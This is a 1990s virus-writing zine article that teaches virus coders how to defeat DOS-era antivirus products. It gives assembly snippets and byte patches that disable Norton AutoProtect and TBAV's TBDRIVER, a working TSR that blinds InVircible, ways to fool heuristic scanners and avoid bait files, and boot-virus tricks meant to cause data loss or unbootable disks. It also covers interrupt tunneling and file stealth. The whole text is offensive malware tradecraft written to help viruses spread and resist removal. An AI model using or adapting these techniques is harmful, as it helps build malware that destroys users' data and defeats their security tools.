������������������������������ R e s i s t ! �������������������������������Ŀ ��� Futher virus strategies ��� ��������������������������� by Mouth of Sauron ������������������������������� Disabling AutoProtect and NAVTSR ������������������������������������������������������������������������������� One of the first antivirus programs available for Windows 95 was Norton Anti- virus. Except for the user interface, nothing much changed. The detection ratio and protection level is a joke. But nevertheless a lot of people use NAV(95) and have NAVTSR or AutoProtect installed, which should protect them from "all known and unknown" viruses. Hmmm, the Symantec advertisement is also quite funny, all that crap about 32 bit viruses. So far, no 32 bit virus is known, except Bizatch which was not finished when NAV95 was available in the shops. There are several possible ways to attack NAV, I will describe two of them here. First of all, AutoProtect and NAVTSR have an INT 2Fh API which allows you to detect, disable and enable the VxD/TSR, similar to VSAFE (remember VSLAY?): * The NAVTSR and AutoProtect API: - NAV 4.0 (NAV for Windows 95): Detect: MOV AX,0FE00H MOV SI,4E41H MOV DI,4E55H INT 2FH Results: -> AX = 0 TSR not active AX = 1 TSR active SI = 6E61H DI = 6E75H Enable: MOV AX,0FE01H MOV SI,4E41H MOV DI,4E55H INT 2FH Disable: MOV AX,0FE02H MOV SI,4E41H MOV DI,4E55H INT 2FH The second approach is to delete the data files NAV uses to immunise files and the boot sector. NAV puts all this data into some files which are located in "\NCDTREE" by default, one directory for each drive. The user could change the location of these data files, but this option is well hidden so I guess none of these dummy users will ever change it. Well, just delete the files in "\NCDTREE" and NAV will recreate all the data without any warning next time it is called. By default, NAV doesn't scan the upper memory area (UMB) and will not detect viruses which go resident there. It's always a good idea to use UMB for staying resident, so use it! TBAV: No changes! ������������������������������������������������������������������������������� * Disabling TBDRIVER: Although the method to disable TBDRIVER (from the great TBAV antivirus program) has been known for several months and several viruses are known to use this trick, Thunderbyte B.V. has done nothing to protect it's product against this attack. Up to version 6.51, the entry point code of TBDRIVER looks the same and can be modified without problems. Just scan the memory for EB 05 (*) EA xx xx xx xx FA 9C FC 53 50 To disable TBDRIVER and all it's supporting TSRs like TBFILE, TBMEM, TBCHECK and TBSCANX just change the EB 05 (that's a SHORT JMP) to EB 00. The TSR is then disabled and can't intercept your virus. Furthermore, you can get the original INT 21h vector which is stored after the "EA" (FAR JMP). A good idea is to do the scanning while tracing INT 21h. When you patch the driver at once, no trace warning will be displayed. But simple INT 1 tracing is now quite dangerous, as there are many watchdog TSRs which intercept it. To prevent detection by these tools, you could scan each of the MCB areas (but keep in mind that TBDRIVER can also be loaded as a DEVICE!) for the signature, or you can use recursive tunneling. If you don't know recursive tunneling, take a look at ART (was released in an older VLAD magazine). It can be done even more easily, just code emulate the most important branch operands like SHORT JMP, NEAR JMP and FAR JMP to trace through the interrupt chain. As this is only emulation and not real single-step tracing, it can't be intercepted. The most effective method to get the original INT 21h vector is kernel scanning, which I will explain later in this text. Besides the scanner and resident watchdogs, TBAV contains a tool called TBCLEAN. This is a generic file virus cleaner, but unlike TBSCAN it does not use code emulation but rather does stupid INT 1 tracing with some security checks to prevent the virus from activating. The first virus which managed to activate while being cleaned with TBCLEAN was Varicella, but the method used to cheat TBCLEAN no longer works. Still, there are some ways to fool TBCLEAN. Besides using do-nothing interrupt calls like AH=01h INT 16h, AH=08h INT 10h or other INT 21h API calls, stack modifications (DEC SP, INC SP) or prefetch queue tricks to stop TBCLEAN from cleaning a file. COM infectors also can do a quick jump back to offset 100h to stop the cleaning process, but it is much more interesting to use TBCLEAN as a vector. TBCLEAN of course prevents all direct manipulation of the interrupt vector area (you also can use this to stop TBCLEAN), but obviously TBCLEAN has problems handling segment overrides like DS: ES: and the others. A simple example. Try to (TB)clean this little COM program: mov AX,4c00h db 2eh int 21h nop Funny, isn't it? The segment override in combination with the NOP prevents TBCLEAN from detecting the interrupt call, which will get executed for real now! To fully activate your virus, you could use AX=2521h (Set interrupt) to set a new interrupt 21h routine. Keep in mind that this override/NOP structure could be used for possible heuristic flags, so hide it behind a layer of (polymorphic) encryption. AHA - A dangerous new heuristic engine ������������������������������������������������������������������������������� Unnoticed by most virus coders, S&S added a new heuristic engine to their already very good scanner FINDVIRUS from the Dr. Solomon Antivirus Toolkit. Besides it's very good hit ratios and detection of even the most polymorphic viruses, it also causes almost no false positives. But this is also the weak point of the heuristic. The coders' first aim was obviously for the heuristics not to cause any false positives, and the checks it does to prevent them are quite easy to come by. At first, the entry point of the program must be around 200 to 4000 bytes before the end of file. Normally, encrypted viruses look like this: ���������������������������������������Ŀ �  ������������������������������������������������������������������Ŀ � 1 � 2 � 3 � 4 � �������������������������������������������������������������������� (1) = Program header, now points to virus entry point at (3) (2) = Old program code (3) = Entry point of virus with the decryptor (4) = Encrypted virus code This AHA detects without problems, but it fails to detect the same (!) virus if it's modified like this: �����������������������������������������������������������������Ŀ �  ��������������������������������������������������������������������Ŀ � 1 � 2 � 3 � 4 �5� ����������������������������������������������������������������������  � ��������������������������� (1) = Program header, now points to virus entry point at (5) (2) = Old program code (3) = Real entry point of virus with the decryptor (4) = Encrypted virus code (5) = Simple or hidden jump to real virus start at (3) If the entry point lies out of the usual area, AHA thinks it's a normal program and stops analysing it. Besides this, AHA is very susceptible to anti-heuristic structures and it only cares about normal file infectors, ignoring boot viruses completely. AHA also doesn't emulate the interrupt or BIOS area at 0:0 or 40:0, so make some far calls to this area to stop AHA from emulating code. Stack modifications also confuse AHA, similar to prefetch queue tricks, but as these queue tricks don't run on Pentiums, it's no longer possible to use them. AHA is very effective at detecting polymorphic engines which create large amounts of garbage opcode, so create only "smooth" decryptors with your polymorphic engine. Slow motion ������������������������������������������������������������������������������� I already discussed slow polymorphic engines some time ago, but as this is quite important I'm mentioning it here again. Most virus coders think that a polymorphic engine is good when it's very variable and changes with every infected file. This is true to some extent, but this also allows the virus researchers to quickly analyse the engine by just creating a few hundred files. Usually, the AV researchers get a lot of new viruses every week and they don't have the time to fully analyse every single virus. So, if the virus looks static after quickly infecting five or ten files, the researcher won't do further analysis and will just add a simple scan string to their product. This will happen if you are using a slow polymorphic engine, or at least slow down the randomizing of it. It might be a good idea to fetch the neccessary random factors only one time per day, at the time when the virus goes resident for example (what, your virus is not resident? Argh!). Also, use the system date instead of the system time to create random numbers. If the created decryptors change only very slowly, it'll become quite difficult to create enough representative infected bait files. Instead of inserting garbage opcodes, your engine should add "real" code, which looks like useful code. Use branches (calls!) and do many time consuming loops. An example of this is SMEG, which creates huge decryptors but the decryption method itself is too weak. It's useless to write a polymorphic engine which creates 2000 byte large decryptors but only uses a simple 8 bit XOR for encryption. Consider this for your engine and use several different encryption methods in combination. Another interesting method to fool scanners, especially TBSCAN is to fake known file headers like PKLITE, LZEXE or TURBO C. For example, all PKLITE compressed files always begin with: B8 xx xx mov AX,???? BA xx xx mov DX,???? 05 xx xx add AX,???? 3b 06 02 00 cmp AX,[2] 73 1a jnb Label_1 or: 72 1b jb Label_1 2d 20 00 sub AX,20h b4 09 mov AH,9 FA cli ba ?? ?? ba 18 01 If your virus begins with these harmless opcodes, TBSCAN will just report "Looking ... > cp" and will stop scaning the file, thinking it's compressed with PKLITE. Take a look at PKLITE 1.15 or TURBO C headers and copy them, but keep in mind that these are fixed strings. A polymorphic engine could possibly fake a couple of these known file headers in order to cause confusion. Lastly, most code emulators don't fully emulate all interrupt 21h API calls. So, use some of them which result in known register contents, for example AH=52h INT 21h. This only returns a vector to the SYSVARS list in memory, and almost every DOS version (tested with MS-DOS, IBM-DOS and OS/2) returns BX=26h. Or access the interrupt vector table (at 0:0) directly, for example by creating a simple RETF there and then FAR CALLING this address. Generic Anti-Anti-Virus? ������������������������������������������������������������������������������� There were many discussions about InVircible, a generic antivirus toolkit from NetZ Computing. The result of this was some anti-InVircible viruses which attack it by deleting the data files, IVB.NTZ by default. Of course, it's possible to rename this file, and one virus coder solved this by scanning every file in the current directory for the usual IVB.NTZ file header. Zvi Netivs' answer to One13th is to use variable file headers for IVB.NTZ, so you can't scan for them anymore. In fact, he is faking known file headers like EXE files and ZIP or ARJ archives. But it's still very easy to do a generic approach in order to find the data files. The solution I present here is very easy. When IVB.EXE starts, it checks the IV.INI configuration file for the SIG= parameter. The little TSR following here just intercepts this and overwrites the signature name in memory. IVB just says that it's renewing the data file and ignores any changes done to programs! Of course, it's possible to read out the data file name and delete it afterwards, or simply to delete IV.INI. In this case, InVircible just uses the standard IVB.NTZ name again. It is very important that your virus stops infecting and stealthing files when InVircible is executed because the virus checks are good and will most likely detect the virus, even if InVircible can't read it's data files. This is just a simple TSR, not a virus! org 100h Virus_StartUp: mov ax,3521h int 21h mov word ptr [OldInt21],bx mov word ptr [OldInt21+2],es mov ah,25h mov dx,offset NewInt21 int 21h mov ah,31h ;Stay resident mov dx,(Virus_End-Virus_StartUp+100h)/10h+1 int 21h NewInt21: cmp ah,3fh ;Read file access? je l_Read EndInt21: db 0eah ;Jump back to old int21 OldInt21 dd 0 l_Read: pushf ;Read in the data call dword ptr cs:[OldInt21] jc l1 pushf or ax,ax ;Nothing read? jz l3 push ax push cx push si mov si,dx sub ax,4 xchg cx,ax cmp word ptr [si],"IS" ;'SIG='? jne l2 cmp word ptr [si+2],"=G" jne l2 l4: cmp byte ptr [si+4]," " ;Wipe signature name jb l2 mov byte ptr [si+4]," " inc si loop l4 l2: pop si pop cx pop ax l3: popf l1: retf 2 Virus_End label byte You also might intercept the executing of IVB.EXE and add '/V' to the actual command-line! IVB will remove all the data files on it's own... Anti-Bait ������������������������������������������������������������������������������� Anti-bait routines will further improve the stealth abilities of a virus and will keep stupid AV researchers from creating infected bait files without problems. When an AV researcher gets a new virus, he usually creates some samples with specific baits. Some AV companies have their own special bait collection which they use for testing the cleaning ability of their product. So it's quite neccessary for them to create baits. Some antivirus programs also create baits and execute them in order to catch active viruses. It's quite easy to avoid these bait traps if your virus doesn't infect files on the following conditions: 1. The executable file has the actual day, month and year set in it's file time stamp. Baits are usually created shortly before the virus should infect them, so this is one easy method to avoid baits. Normal programs are usually older than one month, so this is no real problem for the virus. It even helps the virus to stay unnoticed, as new software is usually especially carefully screened. 2. Do not infect files which have numbers in their file name. Baits are usually numbered (eg BAIT1.COM, BAIT2.COM, BAIT3.COM and so on) or they are created using AH=5ah INT 21h (Create temporary file), whose file names also contain numbers. This should be enough to prevent infecting most bait files, but there are more things your virus could check: 3. Store the length of file name of an infected file and don't infect the next file if it has the same name length. This is neccessary when the AV researcher doesn't use numbers but letters for numbering the bait files (eg BAITA.COM, BAITB.COM, BAITC.COM). 4. As 3. doesn't work if only one bait file is created, you could further check if the file is located in the root directory. A lot of antivirus programs create their files in the root directory of the actual drive, or use C:\. You check this by checking the file name for the amount of '\'s. Skip files which only have one '\' in their name, that's all. You might need to exclude COMMAND.COM from this check if you still want to infect it. 5. A very powerful method to avoid baits is to add a timer function which prevents the virus from infecting files in a short interval. Just set this timer to 1-10 minutes and creating large amounts of baits will become a big problem. It might also be funny to add a timer which will add a pause after the virus activation and keep the virus from infecting files too soon. The larger variants of Sirius.Alive use this. Keep in mind that the AV researcher can't patch the virus in order to remove these checks. They need unmodified versions of the virus and can't avoid all this anti-bait stuff. Armoured boot viruses ������������������������������������������������������������������������������� Boot viruses are the most common viruses in the world. Viruses like Monkey, Stoned, AntiExe, Stealth_Boot, AntiCMOS, B1, Form or V-Sign are responsible for almost 90 percent of all infections world-wide. By now, most users know the 'undocumented' FDISK parameter '/MBR' which will replace the partition sector loader code with the standard DOS code, removing a virus from the partition sector. This works fine with almost all viruses, but with Monkey a new infection scheme was introduced which will cause total loss of data when the user tries to use 'FDISK /MBR'. All methods described below require that the virus is resident and has full stealth abilities or the system will halt at the next reboot. Monkey uses a simple trick: it not only infects the partition code but changes the master boot record at offset 1BEh to an invalid partition record. If you boot the system from a clean disk, the virus is gone and you can't access the hard disk anymore from DOS! Some stupid AV programs still can't handle this situation and refuse to scan the hard disk, not being able to detect or clean the virus now! If you now use FDISK, it will overwrite and remove the virus, but will keep the invalid partition record. The second method is quite unknown but just a simple improvement of the first one. And it's quite surprising for the unskilled user! To make it short: Just scan the partition record for the active partition entry (the one which is flagged with 80h), change it's type to EXTENDED (05h) and set the start cylinder/head/sector to 0/0/1. This causes an endless loop when you try to boot from a clean disk. The system just hangs up and it's not possible to boot without the virus. All MS-DOS versions from 4.0 to 7.0 have this bug, only IBM-DOS will finish the boot sequence, but as the partition record is invalid, you will only get 'Invalid drive C:' if you try to access the hard disk. So far, only a Gingerbread variant uses this trick, but it's very easy to add this feature to a boot virus and most people use MS-DOS, so why not use it? The third method is much more troublesome and causes real problems if it's not coded correctly. The idea is to encrypt the whole hard disk data area, like Onehalf does. Of course you can't encrypt the whole hard disk at once (a virus that needs hours to install seems very obvious to me...), but instead encrypt just a few sectors, starting at the beginning or end of the hard disk data area. Most AV programs can clean Onehalf now, but they only remove the virus from the partition and clean the files, but don't decrypt the hard disk. At last, use variable encryption when storing the original partition sector. Some AV programs scan the whole hard disk for those copies and use them for cleaning. Some programs can even rebuild the partition record if it's completely wiped and only the boot sectors are available. So it might be a good idea to encrypt them too. Some comments about file infection ������������������������������������������������������������������������������� A lot of resident watchdogs heavily rely on INT 2Ah while intercepting system calls. Every time a INT 21h API call is done, the DOS kernel calls INT 2Ah with AH=80h after the INT 21h API call has finished. DOS doesn't call INT 2Ah after every function, but after all API calls which are necessary for viruses. By intercepting INT 2Ah and determining the original registers the watchdog can easily bypass and detect the virus! So it's a good idea to set INT 2Ah to a do-nothing handler while infecting files. Like INT 24h, just set it to an IRET opcode. This will leave a few AV watchdogs powerless, for example the AVP TSR or PCRX use this method to intercept system calls. Some stupid AV watchdogs even do a primitive handle check before doing further checks to the file handle. They only care about handles which are equal or higher than 5 (they just do a stupid BX>=5 check instead of using IOCTL). Normally, all handles below 5 are system handles and are occupied by PRN, AUX, NUL and other standard devices. But by using AH=45h INT 21h (Duplicate file handle) you can copy such a system handle to a higher handle, close it and reopen the target file. This new handle will then be a low handle, and a lot of watchdogs will ignore file modifications which are done while using this handle. After infecting the file, just copy back the system handle from the higher location to the still opened lower handle. More comments about interrupt usage ������������������������������������������������������������������������������� Of course all of you know how to disable VSAFE in memory, using it's own API. But I really suggest that you stop using INT 13/16/21 AX=FA01h to remove VSAFE because now some AV watchdogs intercept this special call and will block your virus! VSAFE by itself never uses this call directly, so only viruses can be the reason for such a call. It's much more efficient to use recursive tunneling or kernel scanning to bypass this stupid watchdog. Don't use things like mov AX,0deadh int 21h cmp AX,0acdch je Virus_Installed for determining if your virus is already active! First of all, TBSCAN and other heuristic tools will detect this at once as a virus structure and some AV watchdogs will intercept any strange INT 21 function in order to catch resident viruses while they install themselves in memory. Instead, use some 'normal' functions like AH=30h. For example, it's much harder to intercept: mov AX,3096h mov SI,1996h mov DI,1996h int 21h cmp AL,3 jne No_Virus cmp SI,1997h jne No_Virus cmp DI,1997h je Virus_Installed The watchdog TSR now can't distinguish between a normal DOS version check and a virus are-you-there call. Or you could add more checks like a special SP range if your virus infects EXE only. If the virus always installs a new SP from 200h to 220h, don't react to self-check calls if the SP range is invalid. Some AV programs call all the known virus 'are-you-there' calls in order to detect the presence of a virus. Don't use simple INT 1 tracing! Almost every quality AV watchdog will intercept this (or it's absolutely worthless). Ita much better to use recursive tunneling or kernel scanning. Kernel scanning is very easy. The approach I now explain will work with MS-DOS and IBM-DOS when the DOS kernel is in the HMA, but it's easy enough to find the entry point when DOS is loaded low (for example when the user pressed F5 while booting). The first thing you need is the DOS data segment. You can get it by calling AH=52h INT 21h, returning a pointer in ES:BX. Just scan the ES segment for the following structures: 90 nop 90 nop E8 ?? 00 call A20_Check 2E FF 2E xx xx jmp far CS:[xxxx] 90 nop 90 nop ... There's a whole bunch of these calls, so after detecting the first one skip 14h bytes in order to get the INT 21h entry point. Now you might patch this code fragment directly or further trace the JMP FAR into the HMA. You could also scan the HMA directly, just search for: FA cli 80 FC ?? cmp AH,?? (mostly 6Ch, but DOS 7.0 uses 73h) 77 ?? ja ?? (in fact, these 7x calls are used for 80 FC 33 cmp AH,33h long file name access and drive locking) 72 ?? jc ?? 74 ?? jz ?? 80 Fc 64 cmp AH,64h ... This one usually starts somewhere at F8xx-FFxx:4xxx (in my system this entry point is at FF06h:41E7h), and don't forget to enable the HMA before scanning this area. The simplest way to enable the HMA is to call a do-nothing INT 21h like GET DATE. A more interesting way to get the original INT 21h entry point is recursive tunneling. Instead of using the CPU single step mode you could emulate the most important jump operands and trace trought the interrupt chain. Unlike real tracing, this can't be intercepted by a watchdog. The only countermeasure is to add some traps in the watchdog code which the recursive tunneler can't emulate. Recursive tunneling is quite easy to do, just get the actual INT 21h vector and scan the area around this entry point for instructions like 2E FF 2E xx xx jmp far CS:[xxxx] 2E FF 1E xx xx call far CS:[xxxx] 9A xx xx yy yy call far yyyy:xxxx EA xx xx yy yy jmp far yyyy:xxxx Of course it's neccessary to check if the destination vector is valid. Just scanning for EAh or 9Ah is quite uncertain, so instead you should scan for 9D EA, 9D 9A, FB EA or FB 9A (9D is a POPF instruction and FB is STI which are often used before returning to the old INT 21 vector). It also might be a good idea to emulate SHORT or NEAR JMPs, especially when they are the first instruction at the entry point of the INT 21h vector. It's a good idea to do some AV watchdog scanning while tracing with the recursive tunneler and patch the TSR code in memory. If you need the original INT 2Fh entry point, for example if you use AH=13h INT 2Fh and don't want that your undocumented INT 2F call to be intercepted just take a look at 70:05h in memory. When using standard MS-DOS or IBM-DOS, DOS places a FAR JMP at this location which can be used to get a secure INT 2Fh entry point or to hook INT 2Fh with a more stealthy method. You should check the this vector before using it, normally it points to a JMP FAR instruction (EA xx xx yy yy), but under MS-DOS 7.0 there's a NEAR JMP (E9h) which points to a JMP FAR CS:[xxxx] (2E FF 2E xxxx). Under IBM-DOS this directly points into the HMA (segment above F8xxh). If you need to access the HMA without a watchdog being able to intercept this call scan the HMA for: FB sti 80 FC 11 cmp AH,11 75 0A jnz l1 0A C0 or AL,AL 74 03 jz l2 E8 DC FF call l3 CA 02 00 retf 2 80 FC 10 cmp AH,10 This is the HMA entry point of INT 2Fh and will allow you to use AX=1216h and AX=1220h INT 2Fh without problems. It might be neccessary to enable the HMA before scanning the area at F800:xxxx, but usually the HMA is already active if you called an INT 21h beforehand. When your virus is a full file stealth virus, you should consider adding SFT stealth. It's quite useless to hide the true file length at AX=4202 INT 21h when the AV program can bypass the virus by checking the file SFT entry. SFT stealth is quite easy to code, directly after opening an infected file reduce the file length in the SFT entry of that file and mask the file date/ time stamp if your virus use an illegal time stamp to mark infected files. This causes no problems unless a program tries to write to such a modified handle. To prevent FAT corruption you should then return the SFT to it's former state when a AH=40h INT 21h is called. To recognise a modified handle you maybe could use the SFT vector as an ID. It's not necessary to fix the handle before it's closed when no changes were done to the file. Besides having a better stealth cover, the virus no longer needs to intercept AX=4202 INT 21h in order to prevent reading from the true file end. Only AH=3Fh INT 21h has to be intercepted, and only in the case that a program tries to read in the modified file header.